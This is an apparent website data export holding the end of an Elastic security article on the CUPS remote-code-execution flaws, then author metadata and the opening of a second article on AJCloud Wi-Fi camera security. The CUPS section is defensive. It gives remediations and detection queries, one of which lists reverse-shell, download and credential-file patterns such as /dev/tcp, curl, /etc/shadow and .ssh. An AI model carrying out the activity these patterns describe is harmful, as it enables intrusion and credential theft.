internet.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Potential Damage:\"}),\" Once exploited, attackers can gain control over the system to run arbitrary commands. Depending on the environment, this can lead to data exfiltration, ransomware installation, or other malicious actions. Systems connected to printers over WAN are especially at risk since attackers can exploit this without needing internal network access.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"remediations\",children:\"Remediations\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As \",(0,t.jsx)(e.a,{href:\"https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Remediation\",rel:\"nofollow\",children:\"highlighted\"}),\" by @evilsocket, there are several remediation recommendations.\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Disable and uninstall the \",(0,t.jsx)(e.code,{children:\"cups-browsed\"}),\" service. For example, see the recommendations from \",(0,t.jsx)(e.a,{href:\"https://www.redhat.com/en/blog/red-hat-response-openprinting-cups-vulnerabilities\",rel:\"nofollow\",children:\"Red Hat\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://ubuntu.com/blog/cups-remote-code-execution-vulnerability-fix-available\",rel:\"nofollow\",children:\"Ubuntu\"}),\".\"]}),`\n`,(0,t.jsx)(e.li,{children:\"Ensure your CUPS packages are updated to the latest versions available for your distribution.\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"If updating isn\\u2019t possible, block UDP port \",(0,t.jsx)(e.code,{children:\"631\"}),\" and DNS-SD traffic from potentially impacted hosts, and investigate the aforementioned recommendations to further harden the \",(0,t.jsx)(e.code,{children:\"lp\"}),\" user and group configuration on the host.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"elastic-protections\",children:\"Elastic protections\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this section, we look into detection and hunting queries designed to uncover suspicious activity linked to the currently published vulnerabilities. By focusing on process behaviors and command execution patterns, these queries help identify potential exploitation attempts before they escalate into full-blown attacks.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"cupsd-or-foomatic-rip-shell-execution\",children:\"cupsd or foomatic-rip shell execution\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The first detection rule targets processes on Linux systems that are spawned by \",(0,t.jsx)(e.code,{children:\"foomatic-rip\"}),\" and immediately launch a shell. This is effective because legitimate print jobs rarely require shell execution, making this behavior a strong indicator of malicious activity. Note: A shell may not always be an adversary\\u2019s goal if arbitrary command execution is possible.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`process where host.os.type == \"linux\" and event.type == \"start\" and\n event.action == \"exec\" and process.parent.name == \"foomatic-rip\" and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") \n and not process.command_line like (\"*/tmp/foomatic-*\", \"*-sDEVICE=ps2write*\")\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"This query managed to detect all 33 PoC attempts that we performed:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/cups-overflow/image6.png\",alt:\"\",width:\"1553\",height:\"1190\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_shell_execution.toml\",rel:\"nofollow\",children:\"https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_shell_execution.toml\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"printer-user-lp-shell-execution\",children:\"Printer user (lp) shell execution\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This detection rule assumes that the default printer user (\",(0,t.jsx)(e.code,{children:\"lp\"}),\") handles the printing processes. By specifying this user, we can narrow the scope while broadening the parent process list to include \",(0,t.jsx)(e.code,{children:\"cupsd\"}),\". Although there's currently no indication that RCE can be exploited through \",(0,t.jsx)(e.code,{children:\"cupsd\"}),\", we cannot rule out the possibility.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`process where host.os.type == \"linux\" and event.type == \"start\" and\n event.action == \"exec\" and user.name == \"lp\" and\n process.parent.name in (\"cupsd\", \"foomatic-rip\", \"bash\", \"dash\", \"sh\", \n \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.name in (\"bash\", \"dash\", \n \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and not process.command_line \n like (\"*/tmp/foomatic-*\", \"*-sDEVICE=ps2write*\")\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"By focusing on the username \",(0,t.jsx)(e.code,{children:\"lp\"}),\", we broadened the scope and detected, like previously, all of the 33 PoC executions:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/cups-overflow/image5.png\",alt:\"\",width:\"1681\",height:\"1209\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_lp_user_execution.toml\",rel:\"nofollow\",children:\"https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_lp_user_execution.toml\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"network-connection-by-cups-foomatic-rip-child\",children:\"Network connection by CUPS foomatic-rip child\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This rule identifies network connections initiated by child processes of \",(0,t.jsx)(e.code,{children:\"foomatic-rip\"}),\", which is a behavior that raises suspicion. Since legitimate operations typically do not involve these processes establishing outbound connections, any detected activity should be closely examined. If such communications are expected in your environment, ensure that the destination IPs are properly excluded to avoid unnecessary alerts.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`sequence by host.id with maxspan=10s\n [process where host.os.type == \"linux\" and event.type == \"start\" \n and event.action == \"exec\" and\n process.parent.name == \"foomatic-rip\" and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")] \n by process.entity_id\n [network where host.os.type == \"linux\" and event.type == \"start\" and \n event.action == \"connection_attempted\"] by process.parent.entity_id\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"By capturing the parent/child relationship, we ensure the network connections originate from the potentially compromised application.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/cups-overflow/image7.png\",alt:\"\",width:\"1822\",height:\"1396\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/command_and_control_cupsd_foomatic_rip_netcon.toml\",rel:\"nofollow\",children:\"https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/command_and_control_cupsd_foomatic_rip_netcon.toml\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"file-creation-by-cups-foomatic-rip-child\",children:\"File creation by CUPS foomatic-rip child\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This rule detects suspicious file creation events initiated by child processes of foomatic-rip. As all current proof-of-concepts have a default testing payload of writing to a file in \",(0,t.jsx)(e.code,{children:\"/tmp/\"}),\", this rule would catch that. Additionally, it can detect scenarios where an attacker downloads a malicious payload and subsequently creates a file.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`sequence by host.id with maxspan=10s\n [process where host.os.type == \"linux\" and event.type == \"start\" and \n event.action == \"exec\" and process.parent.name == \"foomatic-rip\" and \n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")] by process.entity_id\n [file where host.os.type == \"linux\" and event.type != \"deletion\" and\n not (process.name == \"gs\" and file.path like \"/tmp/gs_*\")] by process.parent.entity_id\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The rule excludes \",(0,t.jsx)(e.code,{children:\"/tmp/gs_*\"}),\" to account for default \",(0,t.jsx)(e.code,{children:\"cupsd\"}),\" behavior, but for enhanced security, you may choose to remove this exclusion, keeping in mind that it may generate more noise in alerts.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/cups-overflow/image1.png\",alt:\"\",width:\"1864\",height:\"1263\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_file_creation.toml\",rel:\"nofollow\",children:\"https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_file_creation.toml\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"suspicious-execution-from-foomatic-rip-or-cupsd-parent\",children:\"Suspicious execution from foomatic-rip or cupsd parent\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This rule detects suspicious command lines executed by child processes of \",(0,t.jsx)(e.code,{children:\"foomatic-rip\"}),\" and \",(0,t.jsx)(e.code,{children:\"cupsd\"}),\". It focuses on identifying potentially malicious activities, including persistence mechanisms, file downloads, encoding/decoding operations, reverse shells, and shared-object loading via GTFOBins.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`process where host.os.type == \"linux\" and event.type == \"start\" and \n event.action == \"exec\" and process.parent.name in \n (\"foomatic-rip\", \"cupsd\") and process.command_line like (\n // persistence\n \"*cron*\", \"*/etc/rc.local*\", \"*/dev/tcp/*\", \"*/etc/init.d*\", \n \"*/etc/update-motd.d*\", \"*/etc/sudoers*\",\n \"*/etc/profile*\", \"*autostart*\", \"*/etc/ssh*\", \"*/home/*/.ssh/*\", \n \"*/root/.ssh*\", \"*~/.ssh/*\", \"*udev*\", \"*/etc/shadow*\", \"*/etc/passwd*\",\n // Downloads\n \"*curl*\", \"*wget*\",\n\n // encoding and decoding\n \"*base64 *\", \"*base32 *\", \"*xxd *\", \"*openssl*\",\n\n // reverse connections\n \"*GS_ARGS=*\", \"*/dev/tcp*\", \"*/dev/udp/*\", \"*import*pty*spawn*\", \"*import*subprocess*call*\", \"*TCPSocket.new*\",\n \"*TCPSocket.open*\", \"*io.popen*\", \"*os.execute*\", \"*fsockopen*\", \"*disown*\", \"*nohup*\",\n\n // SO loads\n \"*openssl*-engine*.so*\", \"*cdll.LoadLibrary*.so*\", \"*ruby*-e**Fiddle.dlopen*.so*\", \"*Fiddle.dlopen*.so*\",\n \"*cdll.LoadLibrary*.so*\",\n\n // misc. suspicious command lines\n \"*/etc/ld.so*\", \"*/dev/shm/*\", \"*/var/tmp*\", \"*echo*\", \"*\u003e\u003e*\", \"*|*\"\n)\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"By making an exception of the command lines as we did in the rule above, we can broaden the scope to also detect the \",(0,t.jsx)(e.code,{children:\"cupsd\"}),\" parent, without the fear of false positives.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/cups-overflow/image2.png\",alt:\"\",width:\"1555\",height:\"1080\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_suspicious_child_execution.toml\",rel:\"nofollow\",children:\"https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_suspicious_child_execution.toml\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"elastics-attack-discovery\",children:\"Elastic\\u2019s Attack Discovery\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In addition to prebuilt content published, \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/attack-discovery.html\",rel:\"nofollow\",children:\"Elastic\\u2019s Attack Discovery\"}),\" can provide context and insights by analyzing alerts in your environment and identifying threats by leveraging Large Language Models (LLMs). In the following example, Attack Discovery provides a short summary and a timeline of the activity. The behaviors are then mapped to an attack chain to highlight impacted stages and help triage the alerts.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/cups-overflow/image4.png\",alt:\"Elastic\\u2019s Attack Discovery summarizing findings for the CUPS Vulnerability\",title:\"Elastic\\u2019s Attack Discovery summarizing findings for the CUPS Vulnerability\",width:\"1999\",height:\"939\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The recent CUPS vulnerability disclosure highlights the evolving threat landscape, underscoring the importance of securing services like printing. With a high CVSS score, this issue calls for immediate action, particularly given how easily these flaws can be exploited remotely. Although the service is installed by default on some UNIX OS (based on supply chain), manual user interaction is needed to trigger the printer job. We recommend that users remain vigilant, continue hunting, and not underestimate the risk. While the threat requires user interaction, if paired with a spear phishing document, it may coerce victims to print using the rogue printer. Or even worse, silently replacing existing printers or installing new ones as \",(0,t.jsx)(e.a,{href:\"https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Impact\",rel:\"nofollow\",children:\"indicated\"}),\" by @evilsocket.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"We expect more to be revealed as the initial disclosure was labeled part 1. Ultimately, visibility and detection capabilities remain at the forefront of defensive strategies for these systems, ensuring that attackers cannot exploit overlooked vulnerabilities.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"key-references\",children:\"Key References\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\",rel:\"nofollow\",children:\"https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/RickdeJager/cupshax/blob/main/cupshax.py\",rel:\"nofollow\",children:\"https://github.com/RickdeJager/cupshax/blob/main/cupshax.py\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.cve.org/CVERecord?id=CVE-2024-47076\",rel:\"nofollow\",children:\"https://www.cve.org/CVERecord?id=CVE-2024-47076\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.cve.org/CVERecord?id=CVE-2024-47175\",rel:\"nofollow\",children:\"https://www.cve.org/CVERecord?id=CVE-2024-47175\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.cve.org/CVERecord?id=CVE-2024-47176\",rel:\"nofollow\",children:\"https://www.cve.org/CVERecord?id=CVE-2024-47176\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.cve.org/CVERecord?id=CVE-2024-47177\",rel:\"nofollow\",children:\"https://www.cve.org/CVERecord?id=CVE-2024-47177\"})}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.\"})})]})}function x(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var k=x;return y(P);})();\n;return Component;"},"_id":"articles/cups-overflow.mdx","_raw":{"sourceFilePath":"articles/cups-overflow.mdx","sourceFileName":"cups-overflow.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/cups-overflow"},"type":"Article","imageUrl":"/assets/images/cups-overflow/cups-overflow.jpg","readingTime":"14 min read","series":"","url":"/cups-overflow","headings":[{"level":2,"title":"Update October 2, 2024","href":"#update-october-2-2024"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"The CUPS RCE at a glance","href":"#the-cups-rce-at-a-glance"},{"level":2,"title":"Elastic’s POC analysis","href":"#elastics-poc-analysis"},{"level":2,"title":"Executing the ‘Cupshax’ POC","href":"#executing-the-cupshax-poc"},{"level":2,"title":"Assessing impact","href":"#assessing-impact"},{"level":2,"title":"Remediations","href":"#remediations"},{"level":2,"title":"Elastic protections","href":"#elastic-protections"},{"level":3,"title":"cupsd or foomatic-rip shell execution","href":"#cupsd-or-foomatic-rip-shell-execution"},{"level":3,"title":"Printer user (lp) shell execution","href":"#printer-user-lp-shell-execution"},{"level":3,"title":"Network connection by CUPS foomatic-rip child","href":"#network-connection-by-cups-foomatic-rip-child"},{"level":3,"title":"File creation by CUPS foomatic-rip child","href":"#file-creation-by-cups-foomatic-rip-child"},{"level":3,"title":"Suspicious execution from foomatic-rip or cupsd parent","href":"#suspicious-execution-from-foomatic-rip-or-cupsd-parent"},{"level":3,"title":"Elastic’s Attack Discovery","href":"#elastics-attack-discovery"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"Key References","href":"#key-references"}],"author":[{"title":"Mika Ayenson, PhD","slug":"mika-ayenson","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)a(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let o of _(n))!j.call(t,o)\u0026\u0026o!==e\u0026\u0026a(t,o,{get:()=\u003en[o],enumerable:!(s=f(n,o))||s.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(g(t)):{},i(n||!t||!t.__esModule?a(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(a({},\"__esModule\",{value:!0}),t);var m=l((F,c)=\u003e{c.exports=_jsx_runtime});var k={};M(k,{default:()=\u003eh,frontmatter:()=\u003ey});var r=d(m()),y={title:\"Mika Ayenson, PhD\",slug:\"mika-ayenson\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var h=D;return p(k);})();\n;return Component;"},"_id":"authors/mika-ayenson.mdx","_raw":{"sourceFilePath":"authors/mika-ayenson.mdx","sourceFileName":"mika-ayenson.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/mika-ayenson"},"type":"Author","imageUrl":"","url":"/authors/mika-ayenson"},{"title":"Terrance DeJesus","slug":"terrance-dejesus","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),_=(e,t)=\u003e{for(var n in t)o(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,a)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let s of f(t))!j.call(e,s)\u0026\u0026s!==n\u0026\u0026o(e,s,{get:()=\u003et[s],enumerable:!(a=d(t,s))||a.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(g(e)):{},c(t||!e||!e.__esModule?o(n,\"default\",{value:e,enumerable:!0}):n,e)),D=e=\u003ec(o({},\"__esModule\",{value:!0}),e);var u=l((F,i)=\u003e{i.exports=_jsx_runtime});var C={};_(C,{default:()=\u003ey,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Terrance DeJesus\",description:\"Senior Security Research Engineer, Elastic\",slug:\"terrance-dejesus\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function h(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var y=h;return D(C);})();\n;return Component;"},"_id":"authors/terrance-dejesus.mdx","_raw":{"sourceFilePath":"authors/terrance-dejesus.mdx","sourceFileName":"terrance-dejesus.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/terrance-dejesus"},"type":"Author","imageUrl":"","url":"/authors/terrance-dejesus"},{"title":"Eric Forte","slug":"eric-forte","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(c=f(e,o))||c.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),F=t=\u003es(a({},\"__esModule\",{value:!0}),t);var u=l((h,i)=\u003e{i.exports=_jsx_runtime});var X={};d(X,{default:()=\u003eD,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Eric Forte\",slug:\"eric-forte\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return F(X);})();\n;return Component;"},"_id":"authors/eric-forte.mdx","_raw":{"sourceFilePath":"authors/eric-forte.mdx","sourceFileName":"eric-forte.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/eric-forte"},"type":"Author","imageUrl":"","url":"/authors/eric-forte"},{"title":"Ruben Groenewoud","slug":"ruben-groenewoud","description":"Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},a=(e,t,n,u)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let o of g(t))!l.call(e,o)\u0026\u0026o!==n\u0026\u0026s(e,o,{get:()=\u003et[o],enumerable:!(u=d(t,o))||u.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(f(e)):{},a(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),b=e=\u003ea(s({},\"__esModule\",{value:!0}),e);var i=_((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003eh,frontmatter:()=\u003ew});var r=p(i()),w={title:\"Ruben Groenewoud\",description:\"Security Research Engineer, Elastic\",slug:\"ruben-groenewoud\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var h=M;return b(y);})();\n;return Component;"},"_id":"authors/ruben-groenewoud.mdx","_raw":{"sourceFilePath":"authors/ruben-groenewoud.mdx","sourceFileName":"ruben-groenewoud.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/ruben-groenewoud"},"type":"Author","imageUrl":"","url":"/authors/ruben-groenewoud"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Vulnerability updates","slug":"vulnerability-updates","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of d(e))!p.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},u(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eu(o({},\"__esModule\",{value:!0}),t);var c=_((X,i)=\u003e{i.exports=_jsx_runtime});var D={};g(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=j(c()),y={title:\"Vulnerability updates\",slug:\"vulnerability-updates\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return b(D);})();\n;return Component;"},"_id":"categories/vulnerability-updates.mdx","_raw":{"sourceFilePath":"categories/vulnerability-updates.mdx","sourceFileName":"vulnerability-updates.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/vulnerability-updates"},"type":"Category","url":"/categories/vulnerability-updates"}]},{"title":"Storm on the Horizon: Inside the AJCloud IoT Ecosystem","slug":"storm-on-the-horizon","date":"2024-09-20","description":"Wi-Fi cameras are popular due to their affordability and convenience but often have security vulnerabilities that can be exploited.","image":"storm-on-the-horizon.jpg","tags":["iot","defcon"],"body":{"raw":"\n## Introduction\n\nWi-Fi cameras are some of the most common IoT devices found in households, businesses, and other public spaces. They tend to be quite affordable and provide users with easy access to a live video stream on their mobile device from anywhere on the planet. As is often the case with IoT devices, security tends to be overlooked in these cameras, leaving them open to critical vulnerabilities. If exploited, these vulnerabilities can lead to devastating effects on the cameras and the networks within which they’re deployed. They can lead to the compromise of the sensitive PII of their users.\n\nA recent [Elastic ON Week](https://www.youtube.com/watch?v=qoojLdKJvkc) afforded us the opportunity to explore the attack surface of these types of devices to gain a deeper understanding of how they are being compromised. We focused primarily on performing vulnerability research on the [Wansview Q5](https://www.amazon.com/Wireless-Security-Wansview-Detection-Compatible/dp/B07QKXM2D3?th=1) (along with the nearly identical [Q6](https://www.wansview.com/q6)), one of the more popular and affordable cameras sold on Amazon. Wansview is a provider of security products based in Shenzhen, China, and one of Amazon's more prominent distributors of Wi-Fi cameras.\n\n\n\nThe Q5 offers the same basic feature set seen in most cameras:\n\n* Pan / tilt / zoom\n* Night vision\n* Two-way audio\n* Video recording to SD card\n* Integration with Smart Home AI assistants (e.g. Alexa)\n* ONVIF for interoperability with other security products\n* RTSP for direct access to video feed within LAN\n* Automated firmware updates from the cloud\n* Remote technical support\n* Shared device access with other accounts\n* Optional monthly subscription for cloud storage and motion detection\n\nLike most other Wi-Fi cameras, these models require an active connection to their vendor cloud infrastructure for basic operation; without access to the Internet, they simply will not operate. Before a camera can go live, it must be paired to a [registered user account](https://www.youtube.com/watch?v=UiF7xKnXfC0) via Wansview’s official mobile app and a standard [QR code-based setup process](https://youtu.be/PLMNKoO1214?si=G8sYxT3EagE3u_cw). Once this process is complete, the camera will be fully online and operational.\n\n## AJCloud: A Brief Introduction\n\nThough Wansview has been in operation [since 2009](https://www.wansview.com/about_company), at the moment they primarily appear to be a reseller of camera products built by a separate company based in Nanjing, China: [AJCloud](https://www.ajcloud.net).\n\n\n\nAJCloud provides vendors with access to manufactured security devices, the necessary firmware, mobile and desktop user applications, the cloud management platform, and services that connect everything together. Since AJCloud was founded in 2018, they have partnered with several vendors, both large 